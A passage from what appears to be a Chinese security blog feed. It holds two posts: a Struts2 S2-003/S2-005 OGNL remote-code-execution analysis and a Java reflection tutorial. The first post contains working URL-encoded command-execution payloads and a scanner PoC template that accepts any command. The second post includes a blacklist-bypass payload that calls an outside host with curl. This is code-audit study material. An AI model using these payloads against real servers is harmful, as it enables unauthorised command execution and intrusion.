class="number">27</span>%2b%27symphony.xwo%<span class="number">27</span>%2b%27rk2.disp%<span class="number">27</span>%2b%27atcher.HttpSer%<span class="number">27</span>%2b%27vletReq%<span class="number">27</span>%2b%27uest%<span class="number">27</span>),%23s%3dnew%20java.util.Scanner((<span class="keyword">new</span>%20java.lang.ProcessBuilder(%27id%<span class="number">27.</span>toString().split(%<span class="number">27</span>\\s%<span class="number">27</span>))).start().getInputStream()).useDelimiter(%<span class="number">27</span>\\AAAA%<span class="number">27</span>),%23str%<span class="number">3d</span>%23s.hasNext()?%23s.next():%<span class="number">27</span>%<span class="number">27</span>,%23resp%<span class="number">3d</span>%23context.get(%27co%<span class="number">27</span>%2b%27m.open%<span class="number">27</span>%2b%27symphony.xwo%<span class="number">27</span>%2b%27rk2.disp%<span class="number">27</span>%2b%27atcher.HttpSer%<span class="number">27</span>%2b%27vletRes%<span class="number">27</span>%2b%27ponse%<span class="number">27</span>),%23resp.setCharacterEncoding(%27UTF-<span class="number">8</span>%<span class="number">27</span>),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}</span><br></pre></td></tr></table></figure><p>s2-003。<br><a href="https://github.com/0linlin0/Struts2_Vul_Debug">https://github.com/0linlin0/Struts2_Vul_Debug</a></p><p>tomcat版本: Tomcat 7.0.109<br>jdk版本:1.7</p><p>有回显的paylaod:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%<span class="number">28</span>%<span class="number">27</span>%5C43_memberAccess.allowStaticMethodAccess%<span class="number">27</span>%<span class="number">29</span>%28a%<span class="number">29</span>%5C75true&%28b%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43context%5b%5C%27xwork.MethodAccessor.denyMethodExecution%5C%<span class="number">27</span>%<span class="number">5d</span>%5C75false%<span class="number">27</span>%<span class="number">29</span>%28b%<span class="number">29</span>%<span class="number">29</span>&%<span class="number">28</span>%<span class="number">27</span>%5C43c%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43_memberAccess.excludeProperties%5C75<span class="meta">@java</span>.util.Collections<span class="meta">@EMPTY_SET</span>%<span class="number">27</span>%<span class="number">29</span>%28c%<span class="number">29</span>%<span class="number">29</span>&%28g%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43mycmd%5C75%5C%27whoami%5C%<span class="number">27</span>%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28d</span>%<span class="number">29</span>%<span class="number">29</span>&%28h%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43myret%5C75<span class="meta">@java</span>.lang.Runtime<span class="meta">@getRuntime</span>%<span class="number">28</span>%<span class="number">29.</span>exec%<span class="number">28</span>%5C43mycmd%<span class="number">29</span>%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28d</span>%<span class="number">29</span>%<span class="number">29</span>&%28i%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43mydat%5C75new%5C40java.io.DataInputStream%<span class="number">28</span>%5C43myret.getInputStream%<span class="number">28</span>%<span class="number">29</span>%<span class="number">29</span>%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28d</span>%<span class="number">29</span>%<span class="number">29</span>&%28j%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43myres%5C75new%5C40byte%5b51020%<span class="number">5d</span>%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28d</span>%<span class="number">29</span>%<span class="number">29</span>&%28k%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43mydat.readFully%<span class="number">28</span>%5C43myres%<span class="number">29</span>%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28d</span>%<span class="number">29</span>%<span class="number">29</span>&%<span class="number">28l</span>%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43mystr%5C75new%5C40java.lang.String%<span class="number">28</span>%5C43myres%<span class="number">29</span>%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28d</span>%<span class="number">29</span>%<span class="number">29</span>&%28m%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43myout%5C75<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getResponse</span>%<span class="number">28</span>%<span class="number">29</span>%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28d</span>%<span class="number">29</span>%<span class="number">29</span>&%28n%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43myout.getWriter%<span class="number">28</span>%<span class="number">29.</span>println%<span class="number">28</span>%5C43mystr%<span class="number">29</span>%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28d</span>%<span class="number">29</span>%<span class="number">29</span></span><br></pre></td></tr></table></figure><p>有回显的poc:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%<span class="number">28</span>%<span class="number">27</span>%5C43_memberAccess.allowStaticMethodAccess%<span class="number">27</span>%<span class="number">29</span>%28a%<span class="number">29</span>=<span class="keyword">true</span>&%28b%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43context%5b%5C%27xwork.MethodAccessor.denyMethodExecution%5C%<span class="number">27</span>%<span class="number">5d</span>%5C75false%<span class="number">27</span>%<span class="number">29</span>%28b%<span class="number">29</span>%<span class="number">29</span>&%<span class="number">28</span>%<span class="number">27</span>%5C43c%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43_memberAccess.excludeProperties%5C75<span class="meta">@java</span>.util.Collections<span class="meta">@EMPTY_SET</span>%<span class="number">27</span>%<span class="number">29</span>%28c%<span class="number">29</span>%<span class="number">29</span>&%28g%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43req%5C75<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getRequest</span>%<span class="number">28</span>%<span class="number">29</span>%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28d</span>%<span class="number">29</span>%<span class="number">29</span>&%28i2%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43xman%5C75<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getResponse</span>%<span class="number">28</span>%<span class="number">29</span>%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28d</span>%<span class="number">29</span>%<span class="number">29</span>&%28i97%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43xman.getWriter%<span class="number">28</span>%<span class="number">29.</span>println%<span class="number">28540.8053</span>*<span class="number">217.4633</span>%<span class="number">29</span>%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28d</span>%<span class="number">29</span>%<span class="number">29</span>&%28i99%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43xman.getWriter%<span class="number">28</span>%<span class="number">29.</span>close%<span class="number">28</span>%<span class="number">29</span>%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28d</span>%<span class="number">29</span>%<span class="number">29</span></span><br></pre></td></tr></table></figure><h2 id="3-漏洞分析跟踪"><a href="#3-漏洞分析跟踪" class="headerlink" title="3.漏洞分析跟踪"></a>3.漏洞分析跟踪</h2><p><code>docker-compose up -d</code>运行镜像会将docker里的war包拷贝到本地。</p><p>运行调试只需要将war包拷贝到tomcat的webapps,解压使用idea打开配置tomcat进行调试即可。<br><img src="./1.png"></p><p>导入Libraries<br><img src="./2.png"></p><h3 id="断点位置"><a href="#断点位置" class="headerlink" title="断点位置"></a>断点位置</h3><p>S2-005\WEB-INF\lib\xwork-core-2.1.6.jar!\com\opensymphony\xwork2\DefaultActionInvocation.class#invoke()194行<br><img src="./3.png"></p><p><code>this.resultCode = interceptor.getInterceptor().intercept(this);</code>这段代码就是去执行拦截器.</p><p>S2-005\WEB-INF\lib\xwork-core-2.1.6.jar!\com\opensymphony\xwork2\ognl\OgnlValueStack.class#setValue()128行</p><p><img src="./4.png"></p><p>This.ognlUtil.setValue执行表达式。</p><h2 id="4-psf-exp编写"><a href="#4-psf-exp编写" class="headerlink" title="4.psf exp编写"></a>4.psf exp编写</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">name: poc-yaml-struts2-<span class="number">003</span>-<span class="number">005</span>-rce-attack</span><br><span class="line">options:</span><br><span class="line"> command: require</span><br><span class="line">set:</span><br><span class="line"> command1: urlencode(command)</span><br><span class="line">rules:</span><br><span class="line"> - method: GET</span><br><span class="line"> path: ?(%<span class="number">27</span>%5c43_memberAccess.allowStaticMethodAccess%<span class="number">27</span>)(a)=<span class="keyword">true</span>&(b)((%<span class="number">27</span>%5c43context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%<span class="number">27</span>]%5c75false%<span class="number">27</span>)(b))&(%<span class="number">27</span>%5c43c%<span class="number">27</span>)((%<span class="number">27</span>%5c43_memberAccess.excludeProperties%5c75<span class="meta">@java</span>.util.Collections<span class="meta">@EMPTY_SET</span>%<span class="number">27</span>)(c))&(g)((%<span class="number">27</span>%5c43mycmd%5c75%5c%<span class="number">27</span>{{command1}}%5c%<span class="number">27</span>%<span class="number">27</span>)(d))&(h)((%<span class="number">27</span>%5c43myret%5c75<span class="meta">@java</span>.lang.Runtime<span class="meta">@getRuntime()</span>.exec(%5c43mycmd)%<span class="number">27</span>)(d))&(i)((%<span class="number">27</span>%5c43mydat%5c75new%5c40java.io.DataInputStream(%5c43myret.getInputStream())%<span class="number">27</span>)(d))&(j)((%<span class="number">27</span>%5c43myres%5c75new%5c40byte[<span class="number">51020</span>]%<span class="number">27</span>)(d))&(k)((%<span class="number">27</span>%5c43mydat.readFully(%5c43myres)%<span class="number">27</span>)(d))&(l)((%<span class="number">27</span>%5c43mystr%5c75new%5c40java.lang.String(%5c43myres)%<span class="number">27</span>)(d))&(m)((%<span class="number">27</span>%5c43myout%5c75<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getResponse()</span>%<span class="number">27</span>)(d))&(n)((%<span class="number">27</span>%5c43myout.getWriter().println(%5c43mystr)%<span class="number">27</span>)(d))</span><br><span class="line"> search: |</span><br><span class="line"> (?ms)\r\n\r\n(?P<content>.*?)\n\<span class="number">0</span></span><br><span class="line"> expression:</span><br><span class="line"> response.status ==<span class="number">200</span></span><br><span class="line">detail:</span><br><span class="line"> author: h11ba1</span><br><span class="line"> category: code-exec</span><br><span class="line"> gevid: </span><br><span class="line"> extend: <span class="string">"{{content}}"</span></span><br><span class="line"> level: <span class="number">4</span></span><br><span class="line"> suffix: .action|.<span class="keyword">do</span>|.jsp|.page|<span class="keyword">null</span>|!.php</span><br><span class="line"> type: postcrawl</span><br></pre></td></tr></table></figure><p>运行效果如下:<br><img src="4.1.jpg" alt="4.1"></p>]]></content>
<categories>
<category> 代码审计 </category>
</categories>
<tags>
<tag> struts2 </tag>
<tag> s2-005 </tag>
</tags>
</entry>
<entry>
<title>java反射机制</title>
<link href="/2021/07/05/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/java%E5%8F%8D%E5%B0%84%E6%9C%BA%E5%88%B6/"/>
<url>/2021/07/05/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/java%E5%8F%8D%E5%B0%84%E6%9C%BA%E5%88%B6/</url>
<content type="html"><![CDATA[<h2 id="0x01-反射原理"><a href="#0x01-反射原理" class="headerlink" title="0x01 反射原理"></a>0x01 反射原理</h2><p>反射中几个极为重要的方法:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">获取类的⽅法: forName</span><br><span class="line">实例化类对象的⽅法: newInstance</span><br><span class="line">获取函数的⽅法: getMethod</span><br><span class="line">执⾏函数的⽅法: invoke</span><br></pre></td></tr></table></figure><p>方法详解:</p><h3 id="forName"><a href="#forName" class="headerlink" title="forName():"></a>forName():</h3><p><img src="1.1.1.png" alt="1.1.1"></p><p>forName两种使用形式:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">Class<?> forName(String name) </span><br><span class="line"><span class="comment">//name:class名称</span></span><br><span class="line">Class<?> forName(String name, **<span class="keyword">boolean</span>** initialize, ClassLoader loader)</span><br><span class="line"><span class="comment">//name:class名称</span></span><br><span class="line"><span class="comment">//initialize:是否进行“类初始化”</span></span><br><span class="line"><span class="comment">//loader:加载器</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//第一种调用形式等同于第二种,其实就是第二种形式的封装,默认进行"类初始化”,默认加载器根据类名(完整路径)来加载</span></span><br><span class="line">Class.forName(className) </span><br><span class="line">Class.forName(className, <span class="keyword">true</span>, currentLoader)</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="newInstance"><a href="#newInstance" class="headerlink" title="newInstance():"></a>newInstance():</h3><p><img src="1.1.2.png" alt="1.1.2"></p><p>newInstance()没有参数输入,所以newInstance()只能实例化含有无参构造函数的类。当没有无参构造函数时即会报错:<br><img src="1.1.2.1.png" alt="1.1.2.1"></p><p>实例化类的对象,如将forname()获取到的类方法,实例化:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Class.forName(<span class="string">"com.javaSec.Test"</span>).newInstance()</span><br></pre></td></tr></table></figure><h3 id="getMethod"><a href="#getMethod" class="headerlink" title="getMethod():"></a>getMethod():</h3><p><img src="1.1.3.png" alt="1.1.3"></p><p>java中支持者类的重构,不能仅通过函数名来确定一个函数。所以,</p><p>在调用 getMethod 的时候,我们需要传给他你需要调用的函数的<code>参数类型列表</code>,如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Class.forName(<span class="string">"java.lang.Runtime"</span>).getMethod(<span class="string">"exec"</span>, String.class)</span><br></pre></td></tr></table></figure><p>exec参数列表:<br><img src="1.1.4.png" alt="1.1.4"></p><p><code>(String cmdarray[])</code>,getMethod()获取的参数类型列表<code>(String name, Class<?>... parameterTypes)</code></p><ul><li>单独的T代表一个类型,而Class<T>和Class<?>代表这个类型所对应的类</li><li>Class<T>在实例化的时候,T要替换成具体类</li><li>Class<?>它是个通配泛型,?可以代表任何类型 </li><li>此处<code>...</code>这种语法表示Class参数数量是可变的。当参数中有多个不同类型的列表时,及需要传入多个参数类型列表。</li></ul><p>因为exec执行的命令为<code>touch test3.txt</code>所以此处应该传入<code>String.class</code>.</p><p>获取函数的方法,如:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">System.out.println(Class.forName(<span class="string">"com.javaSec.Test"</span>).getMethod(<span class="string">"testMethod"</span>));</span><br><span class="line"> </span><br><span class="line">输出:<span class="keyword">public</span> <span class="keyword">void</span> com.javaSec.Test.testMethod()</span><br></pre></td></tr></table></figure><p>在此处,testMethod()无参数列表,则不需要输入参数类型列表。</p><h3 id="invoke"><a href="#invoke" class="headerlink" title="invoke():"></a>invoke():</h3><p>执行函数的方法。</p><p><img src="1.1.5.png" alt="1.1.5"></p><p>第一个参数是执行method的对象,</p><ul><li>如果这个方法是一个普通方法,那么第一个参数是类对象</li><li>如果这个方法是一个静态方法,那么第一个参数是类(之后会提到,这里其实不用那么死板,这个)<br>它接下来的参数才是需要传入的参数。</li></ul><p>由于我们的exec函数是一个普通方法,需要传入类对象,即<code>invoke(类对象,exec方法传入的参数)</code>.</p><p>exec方法为Runtime类方法,所以要传入Runtime类。</p><p>Runtime类源码:</p><p><img src="file://1.1.7.png?lastModify=1615291944" alt="1.1.7"></p><p>Runtime()为私有方法,只能通过公有方发getRuntime()获取。</p><p>所以,Runtime的类对象不能通过newInstance()来实例化对象,是因为Runtime的类构造函数是一个private构造函数,只能通过getRuntime方法返回一个对象。<br>获取类对象:<code>Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))</code> (由于getRuntime是一个静态方法,invoke传入Runtime类,进行调用)<br><code>invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),"calc.exe")</code></p><p>那么合成以上的操作:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Class.forName(<span class="string">"java.lang.Runtime"</span>).getMethod(<span class="string">"exec"</span>, String.class).invoke(Class.forName(<span class="string">"java.lang.Runtime"</span>).getMethod(<span class="string">"getRuntime"</span>).invoke(Class.forName(<span class="string">"java.lang.Runtime"</span>)),<span class="string">"touch test3.txt"</span>);</span><br></pre></td></tr></table></figure><p>亲测可写文件,再简化一下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Class clazz = Class.forName(<span class="string">"java.lang.Runtime"</span>); </span><br><span class="line">clazz.getMethod(<span class="string">"exec"</span>, String.class).invoke(clazz.getMethod(<span class="string">"getRuntime"</span>).invoke(clazz), <span class="string">"touch test3.txt"</span>);</span><br></pre></td></tr></table></figure><p>以上我们就完成了通过类内置的静态方法获取类的实例,进一步调用一个public方法。</p><p><code>但是假如一个类没有无参构造方法(即不能class.newInstance()),也没有单例模式(只存在一个实例)的静态方法(即不能像getRuntime一样获取实例),那我们该如何实例化这个类呢?</code></p><p>第二个参数是,是需要传入的调用函数的<code>参数列表</code>,…表示数量可控,可以传入多个参数(也正好和函数传入多个参数对应)。如:</p><p><img src="1.1.6.png" alt="1.1.6"></p><p>这里传入的参数为exec函数的参数</p><p>写一些代码来加深理解:</p><p>正常类执行的方式与反射执行的方式一一对应。</p><p><img src="1.1.png" alt="1.1"></p><h3 id="1-获取类的三种方法"><a href="#1-获取类的三种方法" class="headerlink" title="1. 获取类的三种方法"></a>1. 获取类的三种方法</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 1。获取类的三种方法(获取java.lang.Class)对象</span></span><br><span class="line"> <span class="comment">/*1.1正常获取类*/</span></span><br><span class="line"> System.out.println(<span class="keyword">new</span> Test().getClass());</span><br><span class="line"></span><br><span class="line"> <span class="comment">/*1.2直接获取以加载类的class属性*/</span></span><br><span class="line"> System.out.println(Test.class);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/*1.3forName 获取类*/</span></span><br><span class="line"> System.out.println(Class.forName(<span class="string">"com.javaSec.Test"</span>));</span><br></pre></td></tr></table></figure><p>可以看到反射只需要以<code>参数</code>的形式给出类的完整路径:<code>com.javaSec.Test</code>即可获取到类。</p><h3 id="2-获取类对象方法"><a href="#2-获取类对象方法" class="headerlink" title="2. 获取类对象方法"></a>2. 获取类对象方法</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 2.获取累的方法</span></span><br><span class="line"> <span class="comment">/*2.1 反射的方式获取类方法*/</span></span><br><span class="line"> System.out.println(Class.forName(<span class="string">"com.javaSec.Test"</span>).getMethod(<span class="string">"testMethod"</span>));</span><br></pre></td></tr></table></figure><h3 id="3-实例化类的对象"><a href="#3-实例化类的对象" class="headerlink" title="3. 实例化类的对象"></a>3. 实例化类的对象</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 3.实例化类的对象</span></span><br><span class="line"> <span class="comment">/*3.1 反射的方法实例化类的对象*/</span></span><br><span class="line"> System.out.println(Class.forName(<span class="string">"com.javaSec.Test"</span>).newInstance());</span><br><span class="line"></span><br><span class="line"> <span class="comment">/*3.2 正常实例化类*/</span></span><br><span class="line"> System.out.println(<span class="keyword">new</span> Test());</span><br></pre></td></tr></table></figure><h3 id="4-执行函数的方法"><a href="#4-执行函数的方法" class="headerlink" title="4. 执行函数的方法"></a>4. 执行函数的方法</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 4. 执行函数方法</span></span><br><span class="line"> <span class="comment">/*4.1 反射的方法执行函数*/</span></span><br><span class="line"> Class.forName(<span class="string">"com.javaSec.Test"</span>).getMethod(<span class="string">"testMethod"</span>).invoke(Class.forName(<span class="string">"com.javaSec.Test"</span>).newInstance());</span><br><span class="line"></span><br><span class="line"> <span class="comment">/*4.2 正常执行函数*/</span></span><br><span class="line"> <span class="keyword">new</span> Test().testMethod();</span><br></pre></td></tr></table></figure><h2 id="0x02-反射在java开发中的应用"><a href="#0x02-反射在java开发中的应用" class="headerlink" title="0x02 反射在java开发中的应用"></a>0x02 反射在java开发中的应用</h2><p>JDBC加载数据库驱动就用到了反射:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> String JDBC_DRIVER = <span class="string">"com.mysql.jdbc.Driver"</span>;</span><br><span class="line">Class.forName(JDBC_DRIVER);</span><br><span class="line"><span class="comment">//以上也可以直接替换为 new com.mysql.jdbc.Driver();</span></span><br></pre></td></tr></table></figure><p>Class.forName(String className)返回的是一个<strong>类</strong>,在这个过程中,会把该类加载到jvm中,即这个类的<strong>静态代码</strong>会执行,我们主要就是为了要个静态代码块(**<code>java.sql.DriverManager.registerDriver(new Driver());</code>**)执行才加载这个驱动的。为什么不使用new com.mysql.jdbc.Driver()这种方式呢?</p><blockquote><p>如果使用new com.mysql.jdbc.Driver()这种方式,会对这个具体的类产生依赖。后续如果你要更换数据库驱动,就得重新修改代码。而使用反射的方式,只需要在配置文件中,更改相应的驱动和url即可。—-<strong>解耦</strong></p></blockquote><p>—–来自:<a href="https://my.oschina.net/u/4398028/blog/3574308">为什么JDBC中加载驱动要使用反射?</a></p><h2 id="0x03-反射在java安全中的应用"><a href="#0x03-反射在java安全中的应用" class="headerlink" title="0x03 反射在java安全中的应用"></a>0x03 反射在java安全中的应用</h2><p>看p牛的java漫谈中说:<code>在安全研究中,我们使⽤反射的⼀⼤⽬的,就是绕过某些沙盒。</code></p><p>p牛还给出了一个例子:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">上下⽂中如果只有Integer类型的数字,我们如何获取到可以执⾏命令的Runtime类呢?也许可以这样(伪代</span><br><span class="line">码): <span class="number">1.</span>getClass().forName(<span class="string">"java.lang.Runtime"</span>)</span><br></pre></td></tr></table></figure><p>我们来深入理解一下这句话,p牛举了一个ctf类题目。</p><p>其中</p><p><img src="3.1.png" alt="3.1"></p><p>其中存在黑名单过滤了:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">- java.+lang</span><br><span class="line">- Runtime</span><br><span class="line">- exec.*\(</span><br></pre></td></tr></table></figure><p>通过反射的方式来调用函数,验证payload:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">String.class.getClass().forName(<span class="string">"java.l"</span>+<span class="string">"ang.Ru"</span>+<span class="string">"ntime"</span>).getMethod(<span class="string">"exec"</span>,String.class).invoke(String.class.getClass().forName(<span class="string">"java.l"</span>+<span class="string">"ang.Ru"</span>+<span class="string">"ntime"</span>).getMethod(<span class="string">"getRu"</span>+<span class="string">"ntime"</span>).invoke(String.class.getClass().forName(<span class="string">"java.l"</span>+<span class="string">"ang.Ru"</span>+<span class="string">"ntime"</span>)),<span class="string">"curl http://fg5hme.ceye.io/1aa1k"</span>);</span><br></pre></td></tr></table></figure><p>其中forName()传入类路径为字符串参数,此处就可以通过字符串拼接的方式来绕过,黑名单。</p><h2 id="0x04-反射获取私有方法,私有构造函数"><a href="#0x04-反射获取私有方法,私有构造函数" class="headerlink" title="0x04 反射获取私有方法,私有构造函数"></a>0x04 反射获取私有方法,私有构造函数</h2><h3 id="1-没有无参构造函数,没有类似单列模式的静态方法如何反射实例化该类"><a href="#1-没有无参构造函数,没有类似单列模式的静态方法如何反射实例化该类" class="headerlink" title="1.没有无参构造函数,没有类似单列模式的静态方法如何反射实例化该类"></a>1.没有无参构造函数,没有类似单列模式的静态方法如何反射实例化该类</h3><p>此时就要用到一个新的反射方法getConstructor()。</p><p>和getMethod()类似,getConstructor()接收的参数是构造函数列表类型,因为构造函数也支持重载,必须用<code>参数列表类型</code>才能唯一确定一个构造函数。获取到构造函数后我们用newInstance()来实例化。</p><h3 id="getConstructor-:"><a href="#getConstructor-:" class="headerlink" title="getConstructor():"></a>getConstructor():</h3><p><img src="4.1.png" alt="4.1"></p><p>getConstructor()接收构造函数参数列表类型。</p><p>一个简单demo:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.javaSec;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Test2</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">int</span> test1;</span><br><span class="line"> <span class="keyword">private</span> String test2;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/*注意此处构造函数属性为public*/</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">Test2</span><span class="params">(<span class="keyword">int</span> test1,String test2)</span></span>{</span><br><span class="line"> <span class="keyword">this</span>.test1=test1;</span><br><span class="line"> <span class="keyword">this</span>.test2=test2;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">display</span><span class="params">()</span></span>{</span><br><span class="line"> System.out.println(<span class="string">"反射调用:"</span>+test1+<span class="string">" "</span>+test2);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"> Class clazz = Class.forName(<span class="string">"com.javaSec.Test2"</span>);</span><br><span class="line"> <span class="comment">/*getMethod()获取函数,invoke执行,因为display()为普通方法,所以传入类对象。</span></span><br><span class="line"><span class="comment"> 类对象:getConstructor()获取构造函数,newInstance实例化</span></span><br><span class="line"><span class="comment"> */</span> clazz.getMethod(<span class="string">"display"</span>).invoke(clazz.getConstructor(<span class="keyword">int</span>.class,String.class).newInstance(<span class="number">1</span>,<span class="string">"h11ba1"</span>));</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">输出:反射调用:<span class="number">1</span> h11ba1</span><br></pre></td></tr></table></figure><h3 id="2-如果一个方法或构造函数是私有的,能否通过反射执行他"><a href="#2-如果一个方法或构造函数是私有的,能否通过反射执行他" class="headerlink" title="2.如果一个方法或构造函数是私有的,能否通过反射执行他"></a>2.如果一个方法或构造函数是私有的,能否通过反射执行他</h3><p>getConstructor()获取的构造函数只能是公有的,private, protected,不书写(default),都会产生报错:</p><p><img src="4.2.png" 